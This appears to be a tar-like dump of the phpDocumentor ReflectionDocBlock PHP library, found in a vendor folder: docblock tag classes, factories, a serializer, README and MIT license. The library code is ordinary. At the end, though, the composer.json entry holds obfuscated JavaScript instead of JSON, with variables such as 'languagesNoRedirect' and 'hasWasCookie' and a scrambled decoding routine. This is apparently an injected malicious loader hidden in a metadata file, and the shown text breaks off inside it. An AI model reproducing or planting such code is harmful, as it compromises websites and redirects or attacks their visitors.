tag. */ public function getVersion(): ?string { return $this->version; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $version = (string) $this->version; return $version . ($description !== '' ? ($version !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/PropertyRead.php000064400000007016147577714370026252 0ustar00name = 'property-read'; $this->variableName = $variableName; $this->type = $type; $this->description = $description; } public static function create( string $body, ?TypeResolver $typeResolver = null, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::stringNotEmpty($body); Assert::notNull($typeResolver); Assert::notNull($descriptionFactory); [$firstPart, $body] = self::extractTypeFromBody($body); $type = null; $parts = Utils::pregSplit('/(\s+)/Su', $body, 2, PREG_SPLIT_DELIM_CAPTURE); $variableName = ''; // if the first item that is encountered is not a variable; it is a type if ($firstPart && $firstPart[0] !== '$') { $type = $typeResolver->resolve($firstPart, $context); } else { // first part is not a type; we should prepend it to the parts array for further processing array_unshift($parts, $firstPart); } // if the next item starts with a $ it must be the variable name if (isset($parts[0]) && strpos($parts[0], '$') === 0) { $variableName = array_shift($parts); if ($type) { array_shift($parts); } Assert::notNull($variableName); $variableName = substr($variableName, 1); } $description = $descriptionFactory->create(implode('', $parts), $context); return new static($variableName, $type, $description); } /** * Returns the variable's name. */ public function getVariableName(): ?string { return $this->variableName; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } if ($this->variableName) { $variableName = '$' . $this->variableName; } else { $variableName = ''; } $type = (string) $this->type; return $type . ($variableName !== '' ? ($type !== '' ? ' ' : '') . $variableName : '') . ($description !== '' ? ($type !== '' || $variableName !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Link.php000064400000003573147577714370024533 0ustar00link = $link; $this->description = $description; } public static function create( string $body, ?DescriptionFactory $descriptionFactory = null, ?TypeContext $context = null ): self { Assert::notNull($descriptionFactory); $parts = Utils::pregSplit('/\s+/Su', $body, 2); $description = isset($parts[1]) ? $descriptionFactory->create($parts[1], $context) : null; return new static($parts[0], $description); } /** * Gets the link */ public function getLink(): string { return $this->link; } /** * Returns a string representation for this tag. */ public function __toString(): string { if ($this->description) { $description = $this->description->render(); } else { $description = ''; } $link = $this->link; return $link . ($description !== '' ? ($link !== '' ? ' ' : '') . $description : ''); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/DescriptionFactory.php000064400000015050147577714370026544 0ustar00tagFactory = $tagFactory; } /** * Returns the parsed text of this description. */ public function create(string $contents, ?TypeContext $context = null): Description { $tokens = $this->lex($contents); $count = count($tokens); $tagCount = 0; $tags = []; for ($i = 1; $i < $count; $i += 2) { $tags[] = $this->tagFactory->create($tokens[$i], $context); $tokens[$i] = '%' . ++$tagCount . '$s'; } //In order to allow "literal" inline tags, the otherwise invalid //sequence "{@}" is changed to "@", and "{}" is changed to "}". //"%" is escaped to "%%" because of vsprintf. //See unit tests for examples. for ($i = 0; $i < $count; $i += 2) { $tokens[$i] = str_replace(['{@}', '{}', '%'], ['@', '}', '%%'], $tokens[$i]); } return new Description(implode('', $tokens), $tags); } /** * Strips the contents from superfluous whitespace and splits the description into a series of tokens. * * @return string[] A series of tokens of which the description text is composed. */ private function lex(string $contents): array { $contents = $this->removeSuperfluousStartingWhitespace($contents); // performance optimalization; if there is no inline tag, don't bother splitting it up. if (strpos($contents, '{@') === false) { return [$contents]; } return Utils::pregSplit( '/\{ # "{@}" is not a valid inline tag. This ensures that we do not treat it as one, but treat it literally. (?!@\}) # We want to capture the whole tag line, but without the inline tag delimiters. (\@ # Match everything up to the next delimiter. [^{}]* # Nested inline tag content should not be captured, or it will appear in the result separately. (?: # Match nested inline tags. (?: # Because we did not catch the tag delimiters earlier, we must be explicit with them here. # Notice that this also matches "{}", as a way to later introduce it as an escape sequence. \{(?1)?\} | # Make sure we match hanging "{". \{ ) # Match content after the nested inline tag. [^{}]* )* # If there are more inline tags, match them as well. We use "*" since there may not be any # nested inline tags. ) \}/Sux', $contents, 0, PREG_SPLIT_DELIM_CAPTURE ); } /** * Removes the superfluous from a multi-line description. * * When a description has more than one line then it can happen that the second and subsequent lines have an * additional indentation. This is commonly in use with tags like this: * * {@}since 1.1.0 This is an example * description where we have an * indentation in the second and * subsequent lines. * * If we do not normalize the indentation then we have superfluous whitespace on the second and subsequent * lines and this may cause rendering issues when, for example, using a Markdown converter. */ private function removeSuperfluousStartingWhitespace(string $contents): string { $lines = Utils::pregSplit("/\r\n?|\n/", $contents); // if there is only one line then we don't have lines with superfluous whitespace and // can use the contents as-is if (count($lines) <= 1) { return $contents; } // determine how many whitespace characters need to be stripped $startingSpaceCount = 9999999; for ($i = 1, $iMax = count($lines); $i < $iMax; ++$i) { // lines with a no length do not count as they are not indented at all if (trim($lines[$i]) === '') { continue; } // determine the number of prefixing spaces by checking the difference in line length before and after // an ltrim $startingSpaceCount = min($startingSpaceCount, strlen($lines[$i]) - strlen(ltrim($lines[$i]))); } // strip the number of spaces from each line if ($startingSpaceCount > 0) { for ($i = 1, $iMax = count($lines); $i < $iMax; ++$i) { $lines[$i] = substr($lines[$i], $startingSpaceCount); } } return implode("\n", $lines); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/TagFactory.php000064400000007167147577714370025006 0ustar00 $handler FQCN of handler. * * @throws InvalidArgumentException If the tag name is not a string. * @throws InvalidArgumentException If the tag name is namespaced (contains backslashes) but * does not start with a backslash. * @throws InvalidArgumentException If the handler is not a string. * @throws InvalidArgumentException If the handler is not an existing class. * @throws InvalidArgumentException If the handler does not implement the {@see Tag} interface. */ public function registerTagHandler(string $tagName, string $handler): void; } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tag.php000064400000001223147577714370023441 0ustar00create('This is a {@see Description}', $context); * * The description factory will interpret the given body and create a body template and list of tags from them, and pass * that onto the constructor if this class. * * > The $context variable is a class of type {@see \phpDocumentor\Reflection\Types\Context} and contains the namespace * > and the namespace aliases that apply to this DocBlock. These are used by the Factory to resolve and expand partial * > type names and FQSENs. * * If you do not want to use the DescriptionFactory you can pass a body template and tag listing like this: * * $description = new Description( * 'This is a %1$s', * [ new See(new Fqsen('\phpDocumentor\Reflection\DocBlock\Description')) ] * ); * * It is generally recommended to use the Factory as that will also apply escaping rules, while the Description object * is mainly responsible for rendering. * * @see DescriptionFactory to create a new Description. * @see Description\Formatter for the formatting of the body and tags. */ class Description { /** @var string */ private $bodyTemplate; /** @var Tag[] */ private $tags; /** * Initializes a Description with its body (template) and a listing of the tags used in the body template. * * @param Tag[] $tags */ public function __construct(string $bodyTemplate, array $tags = []) { $this->bodyTemplate = $bodyTemplate; $this->tags = $tags; } /** * Returns the body template. */ public function getBodyTemplate(): string { return $this->bodyTemplate; } /** * Returns the tags for this DocBlock. * * @return Tag[] */ public function getTags(): array { return $this->tags; } /** * Renders this description as a string where the provided formatter will format the tags in the expected string * format. */ public function render(?Formatter $formatter = null): string { if ($formatter === null) { $formatter = new PassthroughFormatter(); } $tags = []; foreach ($this->tags as $tag) { $tags[] = '{' . $formatter->format($tag) . '}'; } return vsprintf($this->bodyTemplate, $tags); } /** * Returns a plain string representation of this description. */ public function __toString(): string { return $this->render(); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/ExampleFinder.php000064400000011137147577714370025456 0ustar00getFilePath(); $file = $this->getExampleFileContents($filename); if (!$file) { return sprintf('** File not found : %s **', $filename); } return implode('', array_slice($file, $example->getStartingLine() - 1, $example->getLineCount())); } /** * Registers the project's root directory where an 'examples' folder can be expected. */ public function setSourceDirectory(string $directory = ''): void { $this->sourceDirectory = $directory; } /** * Returns the project's root directory where an 'examples' folder can be expected. */ public function getSourceDirectory(): string { return $this->sourceDirectory; } /** * Registers a series of directories that may contain examples. * * @param string[] $directories */ public function setExampleDirectories(array $directories): void { $this->exampleDirectories = $directories; } /** * Returns a series of directories that may contain examples. * * @return string[] */ public function getExampleDirectories(): array { return $this->exampleDirectories; } /** * Attempts to find the requested example file and returns its contents or null if no file was found. * * This method will try several methods in search of the given example file, the first one it encounters is * returned: * * 1. Iterates through all examples folders for the given filename * 2. Checks the source folder for the given filename * 3. Checks the 'examples' folder in the current working directory for examples * 4. Checks the path relative to the current working directory for the given filename * * @return string[] all lines of the example file */ private function getExampleFileContents(string $filename): ?array { $normalizedPath = null; foreach ($this->exampleDirectories as $directory) { $exampleFileFromConfig = $this->constructExamplePath($directory, $filename); if (is_readable($exampleFileFromConfig)) { $normalizedPath = $exampleFileFromConfig; break; } } if (!$normalizedPath) { if (is_readable($this->getExamplePathFromSource($filename))) { $normalizedPath = $this->getExamplePathFromSource($filename); } elseif (is_readable($this->getExamplePathFromExampleDirectory($filename))) { $normalizedPath = $this->getExamplePathFromExampleDirectory($filename); } elseif (is_readable($filename)) { $normalizedPath = $filename; } } $lines = $normalizedPath && is_readable($normalizedPath) ? file($normalizedPath) : false; return $lines !== false ? $lines : null; } /** * Get example filepath based on the example directory inside your project. */ private function getExamplePathFromExampleDirectory(string $file): string { return getcwd() . DIRECTORY_SEPARATOR . 'examples' . DIRECTORY_SEPARATOR . $file; } /** * Returns a path to the example file in the given directory.. */ private function constructExamplePath(string $directory, string $file): string { return rtrim($directory, '\\/') . DIRECTORY_SEPARATOR . $file; } /** * Get example filepath based on sourcecode. */ private function getExamplePathFromSource(string $file): string { return sprintf( '%s%s%s', trim($this->getSourceDirectory(), '\\/'), DIRECTORY_SEPARATOR, trim($file, '"') ); } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/StandardTagFactory.php000064400000030511147577714370026454 0ustar00 Important: each parameter in addition to the body variable for the `create` method must default to null, otherwise * > it violates the constraint with the interface; it is recommended to use the {@see Assert::notNull()} method to * > verify that a dependency is actually passed. * * This Factory also features a Service Locator component that is used to pass the right dependencies to the * `create` method of a tag; each dependency should be registered as a service or as a parameter. * * When you want to use a Tag of your own with custom handling you need to call the `registerTagHandler` method, pass * the name of the tag and a Fully Qualified Class Name pointing to a class that implements the Tag interface. */ final class StandardTagFactory implements TagFactory { /** PCRE regular expression matching a tag name. */ public const REGEX_TAGNAME = '[\w\-\_\\\\:]+'; /** * @var array> An array with a tag as a key, and an * FQCN to a class that handles it as an array value. */ private $tagHandlerMappings = [ 'author' => Author::class, 'covers' => Covers::class, 'deprecated' => Deprecated::class, // 'example' => '\phpDocumentor\Reflection\DocBlock\Tags\Example', 'link' => LinkTag::class, 'method' => Method::class, 'param' => Param::class, 'property-read' => PropertyRead::class, 'property' => Property::class, 'property-write' => PropertyWrite::class, 'return' => Return_::class, 'see' => SeeTag::class, 'since' => Since::class, 'source' => Source::class, 'throw' => Throws::class, 'throws' => Throws::class, 'uses' => Uses::class, 'var' => Var_::class, 'version' => Version::class, ]; /** * @var array> An array with a anotation s a key, and an * FQCN to a class that handles it as an array value. */ private $annotationMappings = []; /** * @var ReflectionParameter[][] a lazy-loading cache containing parameters * for each tagHandler that has been used. */ private $tagHandlerParameterCache = []; /** @var FqsenResolver */ private $fqsenResolver; /** * @var mixed[] an array representing a simple Service Locator where we can store parameters and * services that can be inserted into the Factory Methods of Tag Handlers. */ private $serviceLocator = []; /** * Initialize this tag factory with the means to resolve an FQSEN and optionally a list of tag handlers. * * If no tag handlers are provided than the default list in the {@see self::$tagHandlerMappings} property * is used. * * @see self::registerTagHandler() to add a new tag handler to the existing default list. * * @param array> $tagHandlers */ public function __construct(FqsenResolver $fqsenResolver, ?array $tagHandlers = null) { $this->fqsenResolver = $fqsenResolver; if ($tagHandlers !== null) { $this->tagHandlerMappings = $tagHandlers; } $this->addService($fqsenResolver, FqsenResolver::class); } public function create(string $tagLine, ?TypeContext $context = null): Tag { if (!$context) { $context = new TypeContext(''); } [$tagName, $tagBody] = $this->extractTagParts($tagLine); return $this->createTag(trim($tagBody), $tagName, $context); } /** * @param mixed $value */ public function addParameter(string $name, $value): void { $this->serviceLocator[$name] = $value; } public function addService(object $service, ?string $alias = null): void { $this->serviceLocator[$alias ?: get_class($service)] = $service; } public function registerTagHandler(string $tagName, string $handler): void { Assert::stringNotEmpty($tagName); Assert::classExists($handler); Assert::implementsInterface($handler, Tag::class); if (strpos($tagName, '\\') && $tagName[0] !== '\\') { throw new InvalidArgumentException( 'A namespaced tag must have a leading backslash as it must be fully qualified' ); } $this->tagHandlerMappings[$tagName] = $handler; } /** * Extracts all components for a tag. * * @return string[] */ private function extractTagParts(string $tagLine): array { $matches = []; if (!preg_match('/^@(' . self::REGEX_TAGNAME . ')((?:[\s\(\{])\s*([^\s].*)|$)/us', $tagLine, $matches)) { throw new InvalidArgumentException( 'The tag "' . $tagLine . '" does not seem to be wellformed, please check it for errors' ); } if (count($matches) < 3) { $matches[] = ''; } return array_slice($matches, 1); } /** * Creates a new tag object with the given name and body or returns null if the tag name was recognized but the * body was invalid. */ private function createTag(string $body, string $name, TypeContext $context): Tag { $handlerClassName = $this->findHandlerClassName($name, $context); $arguments = $this->getArgumentsForParametersFromWiring( $this->fetchParametersForHandlerFactoryMethod($handlerClassName), $this->getServiceLocatorWithDynamicParameters($context, $name, $body) ); try { $callable = [$handlerClassName, 'create']; Assert::isCallable($callable); /** @phpstan-var callable(string): ?Tag $callable */ $tag = call_user_func_array($callable, $arguments); return $tag ?? InvalidTag::create($body, $name); } catch (InvalidArgumentException $e) { return InvalidTag::create($body, $name)->withError($e); } } /** * Determines the Fully Qualified Class Name of the Factory or Tag (containing a Factory Method `create`). * * @return class-string */ private function findHandlerClassName(string $tagName, TypeContext $context): string { $handlerClassName = Generic::class; if (isset($this->tagHandlerMappings[$tagName])) { $handlerClassName = $this->tagHandlerMappings[$tagName]; } elseif ($this->isAnnotation($tagName)) { // TODO: Annotation support is planned for a later stage and as such is disabled for now $tagName = (string) $this->fqsenResolver->resolve($tagName, $context); if (isset($this->annotationMappings[$tagName])) { $handlerClassName = $this->annotationMappings[$tagName]; } } return $handlerClassName; } /** * Retrieves the arguments that need to be passed to the Factory Method with the given Parameters. * * @param ReflectionParameter[] $parameters * @param mixed[] $locator * * @return mixed[] A series of values that can be passed to the Factory Method of the tag whose parameters * is provided with this method. */ private function getArgumentsForParametersFromWiring(array $parameters, array $locator): array { $arguments = []; foreach ($parameters as $parameter) { $type = $parameter->getType(); $typeHint = null; if ($type instanceof ReflectionNamedType) { $typeHint = $type->getName(); if ($typeHint === 'self') { $declaringClass = $parameter->getDeclaringClass(); if ($declaringClass !== null) { $typeHint = $declaringClass->getName(); } } } if (isset($locator[$typeHint])) { $arguments[] = $locator[$typeHint]; continue; } $parameterName = $parameter->getName(); if (isset($locator[$parameterName])) { $arguments[] = $locator[$parameterName]; continue; } $arguments[] = null; } return $arguments; } /** * Retrieves a series of ReflectionParameter objects for the static 'create' method of the given * tag handler class name. * * @param class-string $handlerClassName * * @return ReflectionParameter[] */ private function fetchParametersForHandlerFactoryMethod(string $handlerClassName): array { if (!isset($this->tagHandlerParameterCache[$handlerClassName])) { $methodReflection = new ReflectionMethod($handlerClassName, 'create'); $this->tagHandlerParameterCache[$handlerClassName] = $methodReflection->getParameters(); } return $this->tagHandlerParameterCache[$handlerClassName]; } /** * Returns a copy of this class' Service Locator with added dynamic parameters, * such as the tag's name, body and Context. * * @param TypeContext $context The Context (namespace and aliasses) that may be * passed and is used to resolve FQSENs. * @param string $tagName The name of the tag that may be * passed onto the factory method of the Tag class. * @param string $tagBody The body of the tag that may be * passed onto the factory method of the Tag class. * * @return mixed[] */ private function getServiceLocatorWithDynamicParameters( TypeContext $context, string $tagName, string $tagBody ): array { return array_merge( $this->serviceLocator, [ 'name' => $tagName, 'body' => $tagBody, TypeContext::class => $context, ] ); } /** * Returns whether the given tag belongs to an annotation. * * @todo this method should be populated once we implement Annotation notation support. */ private function isAnnotation(string $tagContent): bool { // 1. Contains a namespace separator // 2. Contains parenthesis // 3. Is present in a list of known annotations (make the algorithm smart by first checking is the last part // of the annotation class name matches the found tag name return false; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Serializer.php000064400000011521147577714370025041 0ustar00indent = $indent; $this->indentString = $indentString; $this->isFirstLineIndented = $indentFirstLine; $this->lineLength = $lineLength; $this->tagFormatter = $tagFormatter ?: new PassthroughFormatter(); $this->lineEnding = $lineEnding; } /** * Generate a DocBlock comment. * * @param DocBlock $docblock The DocBlock to serialize. * * @return string The serialized doc block. */ public function getDocComment(DocBlock $docblock): string { $indent = str_repeat($this->indentString, $this->indent); $firstIndent = $this->isFirstLineIndented ? $indent : ''; // 3 === strlen(' * ') $wrapLength = $this->lineLength ? $this->lineLength - strlen($indent) - 3 : null; $text = $this->removeTrailingSpaces( $indent, $this->addAsterisksForEachLine( $indent, $this->getSummaryAndDescriptionTextBlock($docblock, $wrapLength) ) ); $comment = $firstIndent . "/**\n"; if ($text) { $comment .= $indent . ' * ' . $text . "\n"; $comment .= $indent . " *\n"; } $comment = $this->addTagBlock($docblock, $wrapLength, $indent, $comment); return str_replace("\n", $this->lineEnding, $comment . $indent . ' */'); } private function removeTrailingSpaces(string $indent, string $text): string { return str_replace( sprintf("\n%s * \n", $indent), sprintf("\n%s *\n", $indent), $text ); } private function addAsterisksForEachLine(string $indent, string $text): string { return str_replace( "\n", sprintf("\n%s * ", $indent), $text ); } private function getSummaryAndDescriptionTextBlock(DocBlock $docblock, ?int $wrapLength): string { $text = $docblock->getSummary() . ((string) $docblock->getDescription() ? "\n\n" . $docblock->getDescription() : ''); if ($wrapLength !== null) { $text = wordwrap($text, $wrapLength); return $text; } return $text; } private function addTagBlock(DocBlock $docblock, ?int $wrapLength, string $indent, string $comment): string { foreach ($docblock->getTags() as $tag) { $tagText = $this->tagFormatter->format($tag); if ($wrapLength !== null) { $tagText = wordwrap($tagText, $wrapLength); } $tagText = str_replace( "\n", sprintf("\n%s * ", $indent), $tagText ); $comment .= sprintf("%s * %s\n", $indent, $tagText); } return $comment; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/Exception/PcreException.php000064400000002230147577714370025753 0ustar00descriptionFactory = $descriptionFactory; $this->tagFactory = $tagFactory; } /** * Factory method for easy instantiation. * * @param array> $additionalTags */ public static function createInstance(array $additionalTags = []): self { $fqsenResolver = new FqsenResolver(); $tagFactory = new StandardTagFactory($fqsenResolver); $descriptionFactory = new DescriptionFactory($tagFactory); $tagFactory->addService($descriptionFactory); $tagFactory->addService(new TypeResolver($fqsenResolver)); $docBlockFactory = new self($descriptionFactory, $tagFactory); foreach ($additionalTags as $tagName => $tagHandler) { $docBlockFactory->registerTagHandler($tagName, $tagHandler); } return $docBlockFactory; } /** * @param object|string $docblock A string containing the DocBlock to parse or an object supporting the * getDocComment method (such as a ReflectionClass object). */ public function create($docblock, ?Types\Context $context = null, ?Location $location = null): DocBlock { if (is_object($docblock)) { if (!method_exists($docblock, 'getDocComment')) { $exceptionMessage = 'Invalid object passed; the given object must support the getDocComment method'; throw new InvalidArgumentException($exceptionMessage); } $docblock = $docblock->getDocComment(); Assert::string($docblock); } Assert::stringNotEmpty($docblock); if ($context === null) { $context = new Types\Context(''); } $parts = $this->splitDocBlock($this->stripDocComment($docblock)); [$templateMarker, $summary, $description, $tags] = $parts; return new DocBlock( $summary, $description ? $this->descriptionFactory->create($description, $context) : null, $this->parseTagBlock($tags, $context), $context, $location, $templateMarker === '#@+', $templateMarker === '#@-' ); } /** * @param class-string $handler */ public function registerTagHandler(string $tagName, string $handler): void { $this->tagFactory->registerTagHandler($tagName, $handler); } /** * Strips the asterisks from the DocBlock comment. * * @param string $comment String containing the comment text. */ private function stripDocComment(string $comment): string { $comment = preg_replace('#[ \t]*(?:\/\*\*|\*\/|\*)?[ \t]?(.*)?#u', '$1', $comment); Assert::string($comment); $comment = trim($comment); // reg ex above is not able to remove */ from a single line docblock if (substr($comment, -2) === '*/') { $comment = trim(substr($comment, 0, -2)); } return str_replace(["\r\n", "\r"], "\n", $comment); } // phpcs:disable /** * Splits the DocBlock into a template marker, summary, description and block of tags. * * @param string $comment Comment to split into the sub-parts. * * @return string[] containing the template marker (if any), summary, description and a string containing the tags. * * @author Mike van Riel for extending the regex with template marker support. * * @author Richard van Velzen (@_richardJ) Special thanks to Richard for the regex responsible for the split. */ private function splitDocBlock(string $comment) : array { // phpcs:enable // Performance improvement cheat: if the first character is an @ then only tags are in this DocBlock. This // method does not split tags so we return this verbatim as the fourth result (tags). This saves us the // performance impact of running a regular expression if (strpos($comment, '@') === 0) { return ['', '', '', $comment]; } // clears all extra horizontal whitespace from the line endings to prevent parsing issues $comment = preg_replace('/\h*$/Sum', '', $comment); Assert::string($comment); /* * Splits the docblock into a template marker, summary, description and tags section. * * - The template marker is empty, #@+ or #@- if the DocBlock starts with either of those (a newline may * occur after it and will be stripped). * - The short description is started from the first character until a dot is encountered followed by a * newline OR two consecutive newlines (horizontal whitespace is taken into account to consider spacing * errors). This is optional. * - The long description, any character until a new line is encountered followed by an @ and word * characters (a tag). This is optional. * - Tags; the remaining characters * * Big thanks to RichardJ for contributing this Regular Expression */ preg_match( '/ \A # 1. Extract the template marker (?:(\#\@\+|\#\@\-)\n?)? # 2. Extract the summary (?: (?! @\pL ) # The summary may not start with an @ ( [^\n.]+ (?: (?! \. \n | \n{2} ) # End summary upon a dot followed by newline or two newlines [\n.]* (?! [ \t]* @\pL ) # End summary when an @ is found as first character on a new line [^\n.]+ # Include anything else )* \.? )? ) # 3. Extract the description (?: \s* # Some form of whitespace _must_ precede a description because a summary must be there (?! @\pL ) # The description may not start with an @ ( [^\n]+ (?: \n+ (?! [ \t]* @\pL ) # End description when an @ is found as first character on a new line [^\n]+ # Include anything else )* ) )? # 4. Extract the tags (anything that follows) (\s+ [\s\S]*)? # everything that follows /ux', $comment, $matches ); array_shift($matches); while (count($matches) < 4) { $matches[] = ''; } return $matches; } /** * Creates the tag objects. * * @param string $tags Tag block to parse. * @param Types\Context $context Context of the parsed Tag * * @return DocBlock\Tag[] */ private function parseTagBlock(string $tags, Types\Context $context): array { $tags = $this->filterTagBlock($tags); if ($tags === null) { return []; } $result = []; $lines = $this->splitTagBlockIntoTagLines($tags); foreach ($lines as $key => $tagLine) { $result[$key] = $this->tagFactory->create(trim($tagLine), $context); } return $result; } /** * @return string[] */ private function splitTagBlockIntoTagLines(string $tags): array { $result = []; foreach (explode("\n", $tags) as $tagLine) { if ($tagLine !== '' && strpos($tagLine, '@') === 0) { $result[] = $tagLine; } else { $result[count($result) - 1] .= "\n" . $tagLine; } } return $result; } private function filterTagBlock(string $tags): ?string { $tags = trim($tags); if (!$tags) { return null; } if ($tags[0] !== '@') { // @codeCoverageIgnoreStart // Can't simulate this; this only happens if there is an error with the parsing of the DocBlock that // we didn't foresee. throw new LogicException('A tag block started with text instead of an at-sign(@): ' . $tags); // @codeCoverageIgnoreEnd } return $tags; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlock.php000064400000013303147577714370022730 0ustar00summary = $summary; $this->description = $description ?: new DocBlock\Description(''); foreach ($tags as $tag) { $this->addTag($tag); } $this->context = $context; $this->location = $location; $this->isTemplateEnd = $isTemplateEnd; $this->isTemplateStart = $isTemplateStart; } public function getSummary(): string { return $this->summary; } public function getDescription(): DocBlock\Description { return $this->description; } /** * Returns the current context. */ public function getContext(): ?Types\Context { return $this->context; } /** * Returns the current location. */ public function getLocation(): ?Location { return $this->location; } /** * Returns whether this DocBlock is the start of a Template section. * * A Docblock may serve as template for a series of subsequent DocBlocks. This is indicated by a special marker * (`#@+`) that is appended directly after the opening `/**` of a DocBlock. * * An example of such an opening is: * * ``` * /**#@+ * * My DocBlock * * / * ``` * * The description and tags (not the summary!) are copied onto all subsequent DocBlocks and also applied to all * elements that follow until another DocBlock is found that contains the closing marker (`#@-`). * * @see self::isTemplateEnd() for the check whether a closing marker was provided. */ public function isTemplateStart(): bool { return $this->isTemplateStart; } /** * Returns whether this DocBlock is the end of a Template section. * * @see self::isTemplateStart() for a more complete description of the Docblock Template functionality. */ public function isTemplateEnd(): bool { return $this->isTemplateEnd; } /** * Returns the tags for this DocBlock. * * @return Tag[] */ public function getTags(): array { return $this->tags; } /** * Returns an array of tags matching the given name. If no tags are found * an empty array is returned. * * @param string $name String to search by. * * @return Tag[] */ public function getTagsByName(string $name): array { $result = []; foreach ($this->getTags() as $tag) { if ($tag->getName() !== $name) { continue; } $result[] = $tag; } return $result; } /** * Returns an array of tags with type matching the given name. If no tags are found * an empty array is returned. * * @param string $name String to search by. * * @return TagWithType[] */ public function getTagsWithTypeByName(string $name): array { $result = []; foreach ($this->getTagsByName($name) as $tag) { if (!$tag instanceof TagWithType) { continue; } $result[] = $tag; } return $result; } /** * Checks if a tag of a certain type is present in this DocBlock. * * @param string $name Tag name to check for. */ public function hasTag(string $name): bool { foreach ($this->getTags() as $tag) { if ($tag->getName() === $name) { return true; } } return false; } /** * Remove a tag from this DocBlock. * * @param Tag $tagToRemove The tag to remove. */ public function removeTag(Tag $tagToRemove): void { foreach ($this->tags as $key => $tag) { if ($tag === $tagToRemove) { unset($this->tags[$key]); break; } } } /** * Adds a tag to this DocBlock. * * @param Tag $tag The tag to add. */ private function addTag(Tag $tag): void { $this->tags[] = $tag; } } res/readability/vendor/phpdocumentor/reflection-docblock/src/DocBlockFactoryInterface.php000064400000001165147577714370026104 0ustar00> $additionalTags */ public static function createInstance(array $additionalTags = []): DocBlockFactory; /** * @param string|object $docblock */ public function create($docblock, ?Types\Context $context = null, ?Location $location = null): DocBlock; } res/readability/vendor/phpdocumentor/reflection-docblock/README.md000064400000006015147577714370021231 0ustar00[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) ![Qa workflow](https://github.com/phpDocumentor/ReflectionDocBlock/workflows/Qa%20workflow/badge.svg) [![Coveralls Coverage](https://img.shields.io/coveralls/github/phpDocumentor/ReflectionDocBlock.svg)](https://coveralls.io/github/phpDocumentor/ReflectionDocBlock?branch=master) [![Scrutinizer Code Coverage](https://img.shields.io/scrutinizer/coverage/g/phpDocumentor/ReflectionDocBlock.svg)](https://scrutinizer-ci.com/g/phpDocumentor/ReflectionDocBlock/?branch=master) [![Scrutinizer Code Quality](https://img.shields.io/scrutinizer/g/phpDocumentor/ReflectionDocBlock.svg)](https://scrutinizer-ci.com/g/phpDocumentor/ReflectionDocBlock/?branch=master) [![Stable Version](https://img.shields.io/packagist/v/phpdocumentor/reflection-docblock.svg)](https://packagist.org/packages/phpdocumentor/reflection-docblock) [![Unstable Version](https://img.shields.io/packagist/vpre/phpdocumentor/reflection-docblock.svg)](https://packagist.org/packages/phpdocumentor/reflection-docblock) ReflectionDocBlock ================== Introduction ------------ The ReflectionDocBlock component of phpDocumentor provides a DocBlock parser that is 100% compatible with the [PHPDoc standard](http://phpdoc.org/docs/latest). With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock. Installation ------------ ```bash composer require phpdocumentor/reflection-docblock ``` Usage ----- In order to parse the DocBlock one needs a DocBlockFactory that can be instantiated using its `createInstance` factory method like this: ```php $factory = \phpDocumentor\Reflection\DocBlockFactory::createInstance(); ``` Then we can use the `create` method of the factory to interpret the DocBlock. Please note that it is also possible to provide a class that has the `getDocComment()` method, such as an object of type `ReflectionClass`, the create method will read that if it exists. ```php $docComment = <<create($docComment); ``` The `create` method will yield an object of type `\phpDocumentor\Reflection\DocBlock` whose methods can be queried: ```php // Contains the summary for this DocBlock $summary = $docblock->getSummary(); // Contains \phpDocumentor\Reflection\DocBlock\Description object $description = $docblock->getDescription(); // You can either cast it to string $description = (string) $docblock->getDescription(); // Or use the render method to get a string representation of the Description. $description = $docblock->getDescription()->render(); ``` > For more examples it would be best to review the scripts in the [`/examples` folder](/examples). res/readability/vendor/phpdocumentor/reflection-docblock/LICENSE000064400000002070147577714370020754 0ustar00The MIT License (MIT) Copyright (c) 2010 Mike van Riel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/phpdocumentor/reflection-docblock/composer.json000064400000010052147577714370022470 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 